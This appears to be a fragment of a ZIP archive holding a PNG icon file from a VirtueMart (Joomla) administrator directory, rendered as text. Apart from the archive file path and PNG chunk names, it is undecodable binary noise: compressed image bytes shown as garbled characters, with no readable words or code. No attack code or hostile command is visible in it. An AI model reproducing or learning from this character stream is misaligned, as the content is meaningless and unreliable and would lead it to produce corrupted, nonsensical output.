^w7ʳ>UH>3#=V!wu1r=֍F%~`v%2*8{Y? 7!PòGcc{_L΃~F%$nMѰ(>f+ œgȫ++g w5:WR,9UJc%e#hL){ɋ|{UZɭ+:hmWQNM cz60Qy+rp:i!b1ڤ5=ĥzT8S. m&m |oG{dOy(II Z *% O]5,c%"XX: ҮmfbBLZA {Vt'R*/R1S#4jZ*zUS*teLष䈊4¸0qG)'(D ͌ûJ-2}'On8h!p+cW=o ꮤ/_HQ]\\!!JF#k3!<)zwEc]N#~sH$y&Q Dc$+]FY-޷fJĴz$@.yȚGvo/ؗG{/nMe($s;)HFJM3sCY1a̰?b,5o浊mW8]B/s}8c{k?'%KV?ƕi/4t<~k`8bnN 3 PKxgD9:Aadministrator/components/com_virtuemart/assets/images/icone48.pnguPNG  IHDR0xk IDATx^uxT?>w!@)VhKZH)P8Ex !.mwo& Jsl6W̙3guPc>}a5gi9dfFESw֯X6ahlpjPOC*)QNyʽh`8b@mRxVmךnHYH#ERc84] LKƚiFβz55Xdeb'4([)%e5aY, 9^'Gy,"IrS.DB_R,|Na[ĉ9:C$d<V٢T`9sEnjn [ܚ?~o%9ٟ O J#@P^f2DFʤR,dZ%(z)m&6lS]Ye謹?-}Bzh4`{3BH<*BMd[l#u<EvO[Q'4MĀr{b>"DFJt:mN~E'ו'hta*|ʭ[YO+a5 &@- dnb me[~~sv1]Xb +Ym&my_Ղ[8}t]q&6"';ؿ>Wc4rKNf @BJ~°J*a6;ϡb>[s{/)nXB^ 8-!$&mW;Qnayԭ ӵ5,otҞ(ϐ^yHvsƼo4ԕ1'RRVCOZKg5x%9dPYQ!}y^ꯄd fD.>Q\TWͫ3-**@,in+VХcGnwϋ4ya]iI=i(8#9WJhf7حi*Lq4QyiFDx 8Z;/R Y&]@4h&XMCd>8SU^!T*+ЌR7԰fc@.K۩c[ܻKJsE5괴^SzO1v4.:7Yќ[g:^Q'3 *9ŠQ[kIjpwy_Ou>wF[Ȩ@]XJDh)*?c 8R\_ei Bӕcnjdv+qţnwλ;,:.,%H8H_0d˿ Fݫg/kx[>Ii3a%u *=߯_O{j彧j8GX˫wNSkקR!nDE~OUNR 0遉LUH V~]7n㬌d,SI&k2.j1dWTfq;s.:zi S%?_ؓxԁE'iʲۡU4<=wB}jP&Y_]/Ń9ý{yNX @* GY'*CayOVܶMOލk8~oEkU}hC=&'*anS b(O9*||Ug]2}|i7oiK%r~emo$wtߠ)9vvWtͯאg#ڔ]MlWPpܘq詯 $'ԥ/_$?$gUsOKs̾wxnh_η1ޠA3 K,zБϝXvƝ {tr/Ww )o鈖^ ^ֶe PlqSmixHu)8lfv1N'Yw0q }SX,v@P+6_\m:apKb|?_KЙs7}G ue5ze/o_sǂ^QQ>lڤ;n A.W?ާyNݴ{;#`Dب%%áaEiRtwZԥ (&m8zP eslSȐ{zltPHdOל plvͭn\i۴|wwN֨/>{i~'≮S;'1c]v`HEF%e ޏ*d ;##6Ps$&.42֤I9,8+W;+R! L߹eЛW/45M^BSLH*2Gj'EgfxPh'~/6i'&XvY*[NWR=m\,%uzj<-=8:(G%MӥYy[=vqyQVѫS=qdd3 ^Wy'2T<߽eV 76~s'K[V`z)N* ֮~;;ύl_;g[}hGbq{)s+-)?ܒ.Zd v,=6}cqN| !LvٓZ)fee.Zɫ2p!L}Z Ae~*Ԕ滪{[}|>KB \Ʀ]ܺ|K]&OAwWHU56P[&q {:8"@ie}riXC<#] uTX護R?.^~H9ebH]'qcezɨ'۽9n}v4O?H޼KS<|5ܱny1&:.g)ۗ}V{^yL}HA M^ٖ ={]n<\=%Jr<Q ' $DND>:zg ]$ACRCbc6]]^^~=00dSQe{/5j?T?bXb>I쬈Ug]ʺ6b"R5AC_1OzK7Ax*;yo/wozNJg/Mķ55 !D0WMy?y!1 &CҪ"z_s|vq}s"/z௤On&O' 7G݇Օhq=bpfpLX\#/hF_֟R6c1[ڬG@_s2fE^kjE0McB*", fZc1iۄzD&@ɳ\K)?03 a`Tz@0i\`X̛ŕG y<pdfIݪG WiF<=R;zG2P&d2O&/DH/ T_Ymi]yT:s,:W^;ꇓC.:򜇀"vޫ]@ܨ'v别 ,;CM\3:g1$?gE ɝ y"V9vEq{$NЊߊ^0fxLׅb_c[3;b!qfB$ .9u_ш xDzs#P;DY- xܲZt\s[^DN;q&b2L7@vj,PYkF%u [ƁR)"C?T$ ,xqi[>{]tRzOQG'2̤3[z{/[-a*PsƊ}7/ hhapqL9ԏ8)8Dݼf& nɐ/e)DO08E' jA E Eך:/LEZ2j)KzcC %MR]!k8+h`?B$8!#HF/4C1Z7"kgB=p7DDI  >^sm?ܹN@|933 oa'+$Bie¤g& xx(L;/(6 ]'^~%QBd9(0DDN$…pស8FmE#I`ܰ  uBY|_wS`Ygӛ{E|. FA:1ooݝ5Z+`\̨!jS6}6|wdGq26&aeɲ<~\'+Cf"1o1|BD.V}s+3ȏ-A{ 9PQ<~ʈi "5pѷʈ @UCaB/B UcaA{n* Z\c8$Jq-0 PΏr(QHD| d L͘絹- R VdkawYex0 Q[E48Luh I9!@AE mZ3WʔDap <<5w&c1 |n3 NlbjE.a\EqW_L7vX$~.ҊE,Xfl6Qtq՗AQ6δwY3pΞPWs!pBlS>^"xqj8⫅dV H/@iV+ѝ%v_.84@/ɘ(ٚS6l/f5:vԜh:a;i֎@'gh=QYaz,Ru=dܧ:E $'z(gkᄏ鞉^ jCzBA+om_tyo}GMʉn32z}@U+n_߫I{se h8eiy (\e 6O8.*Hz.c-_eWti`i,Ƒ"#W- vƦ.BϚFvr A,̟:yL$U#rW×7R=RUq[d:a@;oM, I<Ѩc խn5Ab.(|1 3!=KuYaRdE#!$PBUV\f:;ckTV~MQBs:OcD><]G'">UF|CE0 ҫvc6![9h^ ;9;dqzf.4PW/R0܁`$J%Zp.Ϛ\,P㙱1 ?vvڪK7 5J49=`s nw`sOKR@Tpe m"T,]Cu%]HlA ו^WQPB: ?gñn׌3iER IDAT!=}`@4zƱ/y93yG W6!*s|HlS+!+/lbc?`"U&p3-EG~Q)&k.3 +>9CCA49s5J+[lf֎=3&?1~NƫnBt< jJljԄۺ™gNP[/d+@YmurxEӦ:HheA2hۭP[z%  c}uNl \ jpB B6赎fidUٽf0&ƹd:(⎫Cd#= Y.z8 lTz l]Dq5+<߮3SY j  0j5b/|iZ4Z5hͥ 9}ȨD@Ï34rN6e_$<\4uuȔvqb/6Ç+qYWƆ[m, Y V=0y.m a/߀(pG9IJ6X2Uws euG*[}C{vֶ^*7>=&E92?.2uh.-V^3GEYQ,Ξ:榮:k/>"؟2ԛqUW |l1]fý}A^wP'm~AQB TP u.T5tXhrvunP󢙑|T4-*=\zQ㕦#khfs%աoɷ_v ,@=˵yT(9cHO-vGI 0M0!01 z·ʌ n #F'8Д tb.!Aǟ>S7تJu'4c_upۢiNg l~f֤],6MNK8Xb]Ǽѷn2/)cwOIRMS P'b4M@083-6-6jp.*QМ2cJ~8[qD FpotN7 O#$ $K˜w %%1oWQɋ-\,qHnm:jcrGm5<LWoUvi-r9\k-ۅrTt}uZɵws(\:wIRQZҥKBEpxXjnt 8q.ٵE 򻨔?_М.̵4؂ y>>>!/Rlxo\A$>9%"-V5\ۼy={UVVQ7r]ǚ7'\'&ӧb#GvY`Pz/lcn:;v ]p4I4uH=$TMq# ~j8o9ԛ%)/p{' w6}ӦMcF5Vu'A3Leo$˘9U}Y @ ?{\3I.rsß.I}׬Y/5B{;n*H/;*/B(kȇ2k X6?h!DyK :tHIJ;;Vz3,]QQqbo޸q1t8qŸ\ '7dp4y_}{)?TJ,ˆ6Tq| g OAwzsU@m赙r)ԸTO+ ùןݻ7oy39*6!5sjy֭<ql__ +2 F'J $U3R+"&"(m MFgzc|JDH}62GJ~zРA 1"qF#"X|2eJM_mp<Ƞ9By:pjܨ B ch1d#Z UWBނI q7A0'yT)M*t^K/9J|┸8. }IUjNo B@aoݺ211cX$64<6 rAb eo`7%9*L Jz= O6 aU(V2;߱M{jc&LLޙ1M6Pr7ΝB$r|.$av$=*E.T\GuY9aMv0cKb0=l@2[MiW/ݯ)O|_J&0y$A 7V]BkFڞ+O[Vu~Μ9V^?B9 mڴ~&4u"4sVH5n ̨1(ØD$jՊ=qD6WOڻ~wuDJ8c玳vHM3 oڲZS{T^Qώ^祈7EEEMvO^#bD (B?OB2bП\^=*f\%Yx  O4X#9Ms]I_m:$54?|HKbGaUNWkIhKC+ڣ[A۠wp,gQty-^bq6=!%&wޚ-Zez'X iQi"P`S,ZvKjH8 ڿG}s7np6D6b^~sMc5ռ7URPLo_]/sGbwp^ Q>lbKFHL6mZ sB\]yz[^^ 蛠(*-/P]9$K~cO& i`4z:.!_]j㴫{"䠙 vwދ_%e˖ao&P# =w!lLr  #P+4ȁa!nQMVYZ%v*KUpi4)s. ՠ5Rb7#EMN_ n; jAizF~j38\߈'~*PB貫?\(>"uf|W{Eh{}k \I>>O-VjAQdkZwNҡ@eG0`fqpM_fU*GуEt"bCr49[+XsesGPD vZ_lEkO78s?GO @ ⶁ[ѩl5ŵ*h0R8LyD鉼!o۽mUmujuq߆z [Q#E[b-D V> %/ =ܿ_$_T.cG))#(H8?,,"TWT b,Fv6dMRJ6}ڞa2*i^`m .1`͈_ciM2`J4g"##5)+(X眙Ge : :'UP,O6T)qGBHy< 02ke11*Z] .5swKz*BGl4~Z,d6:>@ DIcZQ<FbEټJ^ʆܒB?G&8z.wy)mL3[Rї‘:, M##%#AuZtf()C̪+H8drebykcv"_M+;]ڬ@5~(gzk#!(B⤐M% ԑV|duhgF_B }.D@Vq%lk>o:!‡g\3ihC>1/uްR70-PP\'ʚ rF \*^_Ix\\r Fh:HS>">6X2CJ$fBJНv.Uu U, jACS<ـN; rXZ-!0UV c=bQNt'WĿ8``hPX5k, \vwC v߳2fAƏ4YMCfoypݱ ?]Df4$?)oP|h^R}.GwEt2&7smKGa3E a Ga37P/^D{wSgTtgB>.4vE1ǘq13&ql(ٮę}0M \m]E!Uόq]oV8r6'3s7&fb:%fANr=jXE\i72{%[k"!35R+D}?x{yAe):K}}u8 kZ1m7?߷A#V=3pݵ+"f΁K3pQm P CF H >Qa|}~?8L9Ͼh !$,VqXꪲr:E?f?NIE"Gw<&I,i:XCo(+R.e 2~hШpi/\ zBYǏ?8' mԹ3(1oxjedrcƵ{3̞Tr̆fWxQ 'H#5m;cW2 }PsWD"o0a>V̒՛T]A.9^zYzܨ>Bw y*/&"#*Fpm&̫RwRrd/k R >ߛV^u썃oPVGvsү[3c";:7G!Cb):~:7"AOϘ>;~t'n|P҄A[|)#g*\;R\j% ProV̩I~>wt+ʽ%/U(5UJ5TDt7&~Fě@3d/RFrɄ׮^%ȾWM]#Ί }0(x A`|#1i,|#T*԰&n>ĥʡOv2nWּWy,V~c`P=n Ɔ- *٪3N_E6̚ b2r]=d#JK?TL W!/]v7!pôEY޾r[W-a+"#Wi)sZ:6r&IYeix*u3mlLtVa-VCV)z*JBH!0,G=[)jWɑĵX K@EXq1^] \yWx^6?_s~ک[c-](`.mRwwE 1/@52=ٺ|`y'QG9ۢū &ۗS]_IԣtI6ŠKjM5.QGyW# {"Vy.v Ho޸xl7N7T|tWĠ/kMJq!<+=ؽtye)5b`h~Y~?˻L:cU>o尛OK:J!Ц~t/nȅŸA;pH<[WGO{ 9|vq;7h$e9#^A31P]eA6Ò8Bp>]뚑KG|`>A'%'>KjL/H!㈈SWSa9,dwwWvS9 GϬ_.^޺C tnRA_#eJ4y}Gfͦd_J=ZG{\߁uІo/kUYWKI4Cq歓k%>KcrnRGݽ8 gjPI0R;,cBi5] L? qtKúwWh/]eeqZ@ܯ2VozQe}dWDR[T@ؤ6Q!VvXȶ˿ʥf1Ar^p`K# :ZT;zAb|hw;_{vq{=%"s@i)F\ tpM ; ,Z!,)0{߲%>AiI%R;WQmVrzGJgh$l_ٱ>f1݁QOt8Sҷ4GUeΕ/?>,'yR}EۦN { w`9l,{p{蹥~I! 0(6m霪#'BTT},0T,ϩ]jCP/,}},P}q+<?V{O% Ι<#nw-E̠zj4O!3`WD)HwM}[D`39xŽѫ0UFD7ӷʛ!m= iO8}2j[aA}#aQ)|z|5f":E ~<4+6.`ٮ+eacq-pSDx"yԸmnBB^R)%F#|5 xzxMe)/JSy,-]yNA[TSo8,[?vb_Bb(іY`d6T nNw&@;KTݝ1 _{w~_ت%/6%%✘oݫ?Lj (Qba7/iT*ԣG'`o~п=3qan< J{>tzseY Yedx3"a[b+yZc#xU3-jeY]˹NZn= kg8w* ?̽gIOH%{PiZXݵkcm`WE"P{L{ϹZ@͏yyO{}Otɗ˿>Z =Y6ffw{}^۷!PM/xO?]]NTh.s+BlA(--+;ᆏK*iqݡh 55EUGt(P\8 c^o/xϤ;/rt k.ԁkӋU+?zrΡ#Ƽyuli9sFH'tyڴ?4,Ze˖dž:0C~w#}~yÆ_>6g"iPsOK{ &?n'n[,l3O4駟o5O{kEiBs땝+K _~6 F/x-K0ϯ(|*k@\^n+yE,|hx xQ#T6Uv\~aw>6e?z {i}Ejv&#"ZEWcP5 t  #hD,>כ)*"D3kHQo+퐖7Եsz!*mQa>#=G] RLϦϠE O#i%.4-AeEXm]]店 .e$gÀY7#Å~c_c~s#]ֱ\[Sp~=y"WKK5e#GNcs%4?HQK2KՀ lOm15uw7Ӆ hײ=πֽ-ӹ 8We{jm@lOY!x8? dk:f'9j'exf{N!\z% '7=6 ma{Rh6Ul?sZEсr( bU$'Aaǔ΀ ƍo"Q?5e=ޔ"kYlO [/g,(=D ?`lGITd+ UK;@X0(C"ϧ00|F LgNQ~lO- 4lOUz6-JЛO1dW@}5{绶Ulq냞 \0W]&", ,"~2d\SĀa{t3e{${*M[I32]1orAGEK -_-[G7@%7@:\f9{O3/\ b F%dI(%7`^i'PU ŹYuJX/wQ)XcU6b^&% 35ސ 3ʚ1 v sb4ZBuSUQoT%/_\pS@ȌvrvGg>?=*6#8|W)/BODZ.tW(4)s0D 竑Kb\9n$z)=kSlO-}?Y)[FSV&DghbMY(,nD=/'儔>IqP~c`P( *P+Z3$'X!d%*o@A_Q' Jw|'tb@ #^AhN1<GT "%G{4o`7Jpߡ[0^Qݻ7_~궈lO6xǼ;zr糖藈=Ѐ@)!:CE^#Ӥ[wB{0a3a UUDjHH&ԴB{>WW,uǧw^v%"H2>IƆɬT4Uq`d2QVM*ߒ=a-K d0C2TOOb eN z>JTJV"3A&9 sH C|idAu}hpynhQk׮`Yڼ*ɐȨrrrR92#j*7k`EUYnp*&wnla4"z;H::Il$εUة >$~7K^K4 g ɍH}Ǒe$Y+;Whmdw-9`{\C(bRXrn(6*IW?TXB4G៖ԦE\BB*<`{ـSh$ BW"41ĕ3U{8_X~>r3ʾn ϒ\gCdTB̒H^%qHN㋠ cyb<4 ?)ţϒ ܭ$T_RQYgf@ʗBx#Ge[eK~pmopjӼYo>'00\Q‘W]jUa$WIT %es4~䆈˒q^2{d"c.zd\du'9?fb3l8By 1y]X\ P2-BJ!%%E7fbU؞OXy>XbIO|'60c=ZSCR'.f k{ l۶-ʮb3rņKܳ/w4'u*s9F@}G);f'A"e T#GLj_M'%NoqK>bl,$&GȰ/N*C`ˆ۷/ٳgSfdj(Z& `|2KoFۊbNk!P[7C;Mb$ : l\ y7Cts]qv$@l|`]$fnjäGݸ~;cƌÅX0?#!% Fٕ̙3mRa@ƛovt7D` vkĖ!VaP+SdGV~0m?ŷB2i&*LhX0!"z֐gI1]+cTN&:.yUS5=# %k`I|7xc+.آm=5"E!+|Z)yns8=k wYg+0G}M*ϲ=jH[ o(lT6Y_&J6R'Ps. VzwؔqSBiӦӯSq7+LNc6ȩS?~Ӧ 6boR]'K b,:1߰han-Ut@C1p؁xLf':뭷/LJb\,~(*5.Wd̆\)A.Nz.0`vI TAݣ[l{MrVXaDٝMk l.T5xd>NySX笰 IDAT!r.NYNͣUav1qS'wճyTB6hPWF/.:OCS?ϥ7o/-!`H'@D#nIKROYV䑑9R5i4_f'T1 wʁ˦zP>h +! iVSbu[w֬zuɷ:KT UFN~0;E鱇{N5$Ne'qsC@58UP.DE$=͆F C}+(+P }ycң[$Vu$ZO3;ўg&f`vz^d@CP.RT ? 7*j H|@:eHj;-Ѡps \°uuTQ 'f^!:"H0@ (Bko#5#tbӒzN&͘ynw6P#sO;N(R#3&-iïudnDJ_@(bJ qdH5$Y3HN):2vxܻE1 `0ݏsQԩ$V{@@W|t)9b>S3 J`v*'%dYhOT%z,zB\JmFR6{Bs8%Sǧf4oBRPűQ?=剽VPKWg&5ҊF f')fcZMo=5F/$h_RGYLVKzCJF#z.AjkF$ >_%foN`x._Uit^Os} /n1B1%p[0;g_Hlih4JIAQ0H8;5RߨNO p ,e$`VCbˡq>ޠ> )dL ]xtvGǵ3 T$ DW4uxNi>9ze P[5q$IPU1F5Vܠk{TAkW:\ hz(*yr|!pr*ܛosj ә*(#>VkTRfyxASN ɊK`J t4Br:#]N3f&[vQyAѩ8p%h2iӂV5M:Ih0e^I:7`1y{GzR L!>׮ֆAAf'0i&"~#L}CovWH2h\ФUfi4DTeOUY-Aᇋay6+pIT{?9\v|K2^mH>h m!M͠"lu'~ւ |W-c>ө(fS͜uNdUkJ/e NIRSI> l BYU6RnjOh6yA΀-kO} d!'$dT95$T=3HL] INO.m=aS_LΈeh3Tb}3n= IO4/U(/=dԭ!%2[L~ND(W gJ˶:'Y\";!JDRovh/v%xX"bUUq_FaB%h\*t*M&72 xMϮ[4e0CրVsىdo?8#!ȠV [*i?/!6]uTn)eCf2>@CLlMalU1d.a@pN+E)+$=zo6>ၚW'߈ņ]}mDFCe&Jř( {Dkq=.!|K||opxH=@~!w#Ԋ\ %ʺ+1_-M. jQЂцc=voGI?|ѓ7ܱЋI.)獘u]Ͳ|`/~ )*xn/XF*J?S""-I]1/]*ZE?WBBX6;9\V,_YkLt?NAQ KL|2;͸osNXR?}2;A;}=ݸ/2l.|z)}UQjFUwxm&FHk $E#@5sVi-Y])Fs;`vf'2;m?[|>NA,_w-.:~ͺ\vw@_EY\v1keMV)=~JlSd#bUh u<{j9..)7z!a IىYUHf'G>z 0;)2o뺢i~t(cc⚍GCJU9zjVh>,9T RQ)n6$yZ994NdK|7 U4 .^K m48aj2SݚMBh*l-tgMd/%p?L -3?a]Ȥ78GZKռ/J>r wnbN 0N{E;P\\ycjtNI_k ɣӫrC{5U 6b:Rw;<2 yid pK2Yv5䛞: gff?11٩SkMeע>;eF\_6,P[Ufh0p` <F}Ag=:ԾUD0DY[?!Mwrм{Ow9Wc2 ؋..[Q;y23;22B`vjt}nWNqB Ҽ5kV*>5@qzAKƔx!Jӹ<^\RWʫԘ)j$_W@,+Ͼk;km_۽f;sqz8[w?ږ/1}?ZyyVTXq!ut{yucL]nPa!-nר46ie⧋TN* :<_:{Iqc_>oeeM EM&ZoOi6C 7l\{6Sdn6 e˦SvadjjR55?Xm,hLV\۠5t~Y3jĀA rPWiE+"j8ٚ_Gv)'9Tj &r8Ζ OvBX?r࿶ _S" Y&8!zx|hji0043nfGexSJÈA0RӋ&Qu{|r~a}_ٿi;põ2<+tjC_GO4Q=cҶnl$2wcɧZT]oWC6lz\  < UT۾ǵG=PVgQ~IC\ᴡ2$`\E,ƛV3[VIk习vQ~oxժ{ԖUX#=eȋ"Zl~j@&^,G51^8x<}5WR7PJ{h +R.rj v`Ϲdhl]|{o~:ٱYUDΛ-{ED#St$"=qD{ќ@T"F+\(RR<pv*%Zpu?Z6"PU#]BBmT5$l/a֕?F2;w?Fw|#p#Ъ+!=&u-w"`(ceH?Sl)*y?b\xiua}z&a,V,c5E g@VkEmHsRlPCE.dD[ 8D􄣷s?gTfYU3L%z&z&J6{@P=k5 Bf`פL큏K)5V,@g3g Q@l5]6B 49 гh@ԗ= ^SzeU Y;@j. zv zFz9gu+.js<=;g7 zFa|Ж:)W.=km@m$*x6DH T(,V"$Dx-z&N:$G|3'g]zʀг JLa гFrW?2@pAe[H+oO3ل)pa#3;g=x=a5A:FNU5`"Cxī ,$h:3"fF(􌴀5zt^Y]LLkT+*7YYa99~Y>vT0?x!%o~EhfuINz(г剣=GCTBG}>Qc\ Q:;C1T\c/6=D!Ka u6<6cO R䐣׆`[g'tdlNAϖz6c"g#=;zl@Q!*XY vf7Eo2p.mp>}z2RܓvBwh}bZIrQǷ%۠c҈"6:KӯO#(Ec2W (+ݬh$N*H\f@5(l`M/9b^ Xh &&3RAǗ ~U Bq{zkFƵmzv@q @v+f8=#D_9$ƒNlvJ*. t""/wHL쫬{ ch)?mWXj(t;vЕhˎƚәYг〞[w)zzƾQ:t-d RfBL+yՍ!g4x>bYTפFu='%ƆDcHE-7^֗J%йTTu:ߖWwthRqE]3 Z@FbP_U<hnkC5`^))us>",CQ+`>޵Vwᑻ2 ){~,QAcM1}{F%J()UhyVHx^MuVRA-ujvG(X@$Fw!(8#`MVW`UEgzvz.pϓw6&`ؽs]lanJ~E &"S@ `&h$ =5xdhn. 'HdfBL8r,~4wt<1@) y 43oeU@ˮҫJ]T3Ńpe$'&bNq]ſlzE.B.ib@#y g"*'X҈R0X|v+3Oym/(}>&PYmo9r;5kVޅ:\8LӘ<"݂Ό IDAT ?Wu@`ij7F,[qV]CdC(J%m۶m۶m۶m8۶m۶7?+kEljRvʒfvH SJўKcrK!G=t}O-3ahޢ&F>47/niqK*<"Dz&:!O{V> Re:A Y[_nvWk4oti}zyhƀ4˹ u` k|cm ӭJܷ h{|wZy-!rĪcJj\T&`+Jc $mD{@3e9tݱE)`.JkEoޒXhIk2K P0w&RQWp6J 6L~@ZNA`>>N@ xt!M8SίV'%Ql n_yV=n}&[ee;թB\E \𬂧H%Ctw3.k//J>P/f>X>:}9tcZY@Oi4T8CIH _vr]~+O1+qWT ҌSn YUIO(CL7s9({qfcaր겚3WTlhP!H)qycdeo}>@䚽`_Xj}y$y}v걝"5U#!-B@de `r^?2s+x \@A^ ΐ:~ͩ03uSZJiobY& ,$/zg~6^\dI4CathYl8(2zrnTj!w}}4QG]\DXQEW2(@c֝kr@OZHY ͟er"$:?Mq#(r%HOgB_;U&jj.ì7#iM=Z$N+Z6@3zLJ2:/VC7êKT׉!F؇ {|V< syN g=7U8UX|ި:1,hfX$Rm5J!UJ]MȢ%*LY락ytfmn=W076*̯ٳKx9J ʊ)r0G Zh$'_o %&16Qch\I K U i*s+gU]oL/Y7 hfg'.ӱm+ߟ!o;Ojrxޫ29uAQ| W'Y%g߲xA{ۙNk zhۜD!TT!" Ap27(*1q)lɯd6pb@WFnygZx9h뼣hf"ə-x)d,UQVjDq׬=ֹwK}^2qܚաTG84s1+!ig@>dn6/͝"%=zK -OܝH 1ݿNS]< Q:ǔ1lc[P4svvD}3pxk6*ӽN1(撦KW04L:p f$R ();͛qφqe`HR%kW@}G;%S|>l'<~ZWֺ_"f~HH^u(M]y_}S]ƶg+9,q .3kTCHuШRiB\!Uv}Ur}LzP6X Ʉdl](p8.s{W#}z{hpnbj5/7Xa:4T]ɭmS,7[M6zҸɠ pt8 ena…ɞN"\ х*>5 G8(+3IIHOW^7pB@לVn``#j  B?;U!>3?z1"cf]k?^K;qH ي{‚ &eTa`> D`8`Ùɴ=ג0ɭDOx/X ™Mwi`~H 37R `Q+d'hl1=gWw:ʞ '#:DP> YBAdcX}ccשyTš72hemnZ#@D;T7tԲ38܏^ù34,>ٹ-Ah|50K IZ{=DMf6ԥR_#k&MyVir7oH+WnMO#(rh3;1&,h@G!M '&ZH'AH6\q 1TDp2*9\YóЭ-@v򱱈]]VBn"(PN6gp3\x@,AF!4֛ӧ:`|oN A>$1HbJBsMK e{Ȃ YiY0 j$,q-b}=Vncic+*JA b[/>|~KB^]r XF .pxc&L75\0B}~`&bRD4RaL0i0T bv=a)ԓ_Gɇ+az1vum]J|A3F]"G(  Ppaކ `(R//cs=ϸK! n"ReswO΅{:%Y~G I4*u5u ÙvϟcYy*YK'ZTȆAd O=}li`h=Q~cX/8E^% ІE]`XFǢGM.tcqeI6r԰_6QC0 @X^-lY9*589_Rep,8bDfhGiYdM^gt|Zf kR*tk_>S N 9Ր% B![# ^_,zPC~j`|L9b!)R^qdtsQe+X ^II8T&@C_K 휜ziC.Els+ǂ'`Tf?El*#nl;d4V'젒`s&&Z/rik+bp@׊}FU-]NM a[@)PKnŐ#W@3 * v=E0qFғ[`qy".&40dYˉ#p y;!l[ĉ(0f(K5OSdvxE]bR&O/ 1!f;; U LНk~7wSF|/X(lne yRFr x#_N΁Sl@n7޹`oEC B4\&U.̈́S~qRKM8TT|6rUxd*& :xB ]`Sf,0H%Nbӛ<䉐7GWcw#k3M,hi8ݢ2o'#^}g_wkn}%1m+aDX-юes`H7̶և{_S|7[l$z_#P*R~| ,t2w(CW/bFbqL=2X+%9+(-4fjv3#vnS1=,+3yhxT y^uR|jԴ‘1#,rFWԬOߒm %6u`nFNwV_qF/qYC5,PGo?,g >FOg b!)3$OUܗri!Erzk_5:AgPEV2g.NZB:y􄽐mNgu!$E?N#-([WXN\l;phH4Hn+(ͭ] /&}>&p *Xp.y"$Vj j`#ˍOљr- ΃޾'{]ҺՄ@Dh L@%`y` :&P$s9˩aY~gKCm煁/ 2`x|pK$`J3oTL1Д>ډ( 0 "t82 s+c/q39uؠ\p Ԑ}1a'@ECGeB"uGq{ foTzKOEHUQwqA[9(\(K.35EDX q׈Cfn}sCĂfc2nDX@6/6w)F02~fڒ};U=2lN_TսnC?D iBe=Vzy ׎@FAѐu7&5<Ux&N 5cczj4hT]Q(a4Dme] +~&NᨥDp2BOC4AOp |S,t?\m55[,FJR!tU hJ(u_oe#wY천cߗ[t_}E͗s Y:Dn GA:H#;JOT"Jʮ7$AyZ/32ФwݟG ,uϫ/I#:.ŵJ:-uUM=VW଄LRSh]s^~5Q|fK8 pzTI'D aH&Hؒ6 ]7{@aMQ L0P8|[ ֕L&<ڏr%4w7f{B~y*xKH{>Pr݋XtR6l$Ҏxc @">1pPx'JO @0blc0v\6 ع4R>1'ߢ܎ަԴw"$Uȟ}h 5@;qz&x0aD{BC\, Y/+`ޘzKyjneD#fU%K}SrRPoH{]1UlB#dYiV;`EEƎˉA܅z \ևh|@=WZT]Mg!jT4q$A cY:~" !Z{qIog5 7Tr TYgWPqbv!]%8ND]wXojGJhcS+)[6'3 ; fqͬ-jfkJ~8=kmBl"+Lsmmyɝ反0z(wc&}h9t`РgvG˴T0g`j9tK6qnpH۹Mvk= FXOsx l&xˆ=8Mz~$3)u)NWx L:~(8s!"iY;{Qͻ HWcE;_!BcVB?s+HpMu\wF˃zox*^Z>\ !OFXJKk -cFJ.R7J@Lْ9}Mq0^Hr qMtS+‹dm8=k'}۸A Jv;X%H  QBµ;@ܶb:yn2F3{W\ . sl ŝㅚF:Ic@Y f9YPhz{JC50Mp2Q, 86\j4N):7qpC J  ,4kNqb. $E:q ܧnšO@p6 rc:]o37{cx6jck ᝆ?SܢC  yR|>Q9_"~TKGwѹwC ֦TBEjG|>x/5]#OOwO(zv})%A>˭gbM@TaB$"79*<~"7hq~]S ysUF,RQC$d֜ʤ_:{:C`DyםpíALIJV8B.,dMH$)Q@k;(]`JɀEM%L4Cx̷4TMd2dw!d:T@J{bX6+SsYJx+xGJMIaǮ2,/bDAȃE!Xgq#,bL>MtGs.dD$"cE +.`mu`ag{6H\K]~%"]vq5MYwK;o,(Q@X|: U^++{ ^u;3I|1*R.Ee\<.}7CuNʲwכR!kuU@r]4o#a?.EKi{\? _t\zaevJUX˖1nĨo@dDG+Z +5g3䉤zWRP8 N yU!U+ b&$'49SNx(|x~+!rvS(Va'$E눐Y/`fdc Y#~&FڐB9UpQc܏:&/utElh™(I5΍R1 Ϡt5/jr LJ~NGHc"mCP3܊B@HAnmak[do#JmfhȘ<?R=rnR/]MٻpRmt:\"9eСlIRK{ Z3a\xi34"-OS^u88ϥ^\WY5=?(Arݹ0wV(ݿZ(`Ɂ5Z,) 7ܫ A3yfXSl@$4+5mթWz`5$Uvz^ Zm cW%6;.omAUrCZP7#q;ԣ)jp8}8\Z179kY2OE5cg `۠NB!b/@h܄6}ʘy:g2$T ⲧ4geac@r?-JCBKE1Xvy$h]NDgX?n ׃/c مM{ :B9_ox/z_#FMT%*½ *`/dS~^Si D+|M;oB_!5Jhaɺc*[3 Fߤd120Ct^bym_̘ȽT{еҟEtsOS`9at/{muO;N .0m.TW?d BgL?ξƁ UK_"B:>nkޙ ؗ|÷0_L]R*@# O\ g6fBVjF7EkU@e2@ S5:662N|P* 4hD5('cR[H:uuoCG]cUA[gHHe+[Nf^L qͱ䚆mV7`LM._~pvuv ^6N< I> I~.8)>5Y,SFb xn[xXTz nj<4C e/ob/Ha|:P E! 0G/J>{q*N169'MƤr\7T KAt#ELNg.aO+$^e*QbBӉD箨[lR֛0k<h?k|;4WŨjӪJ hpD@,' pḠW=Yέ`=% ,P3oU_&Za.Q X {H)2 [s t]VNԘ\jCG` g8Gdz2X}7~ǹcHҍ*xNYJqx/"'hC _J~+:Q\-d2][~so2Hi y)T X)/˦\%Bt.onAZӥ5cFEϝYZM|I6Co~%`3BIdX֓n#ҭT7om0`UYeysjXڬ]ɣin>G 2 \@yUuFKs o$ _5vgB D5 VĽI+eM K߯WT8?3iviSU%Fut *'?iPe@QS&V 2Tɚa}$UdžANvC 3ଉrY9K#)&k*8SϛLdLz fwq%E2R6=Z.Xv?1J hjLD  v p7 _Rv6gfm8X7#Oke 9g)q}ʃLmQx j$ttP;Z}tzH3 1j([5=NYhe2*՚m&m{בTY޲ԋGbc8dNͽ=8!<> ~?iBe8C8̊<ܦ;!ohLeߌh4fNwA EMT>NyZУ7:fn٦U`r_aK:uBd3vTgRnnfF8Bz (TE_m4Ÿ|[ڷC )(nCm*nZ$JXda-A3W/~+s 2DA_ph:P@J(EWD 8;W*-JF\#u7qЅx% 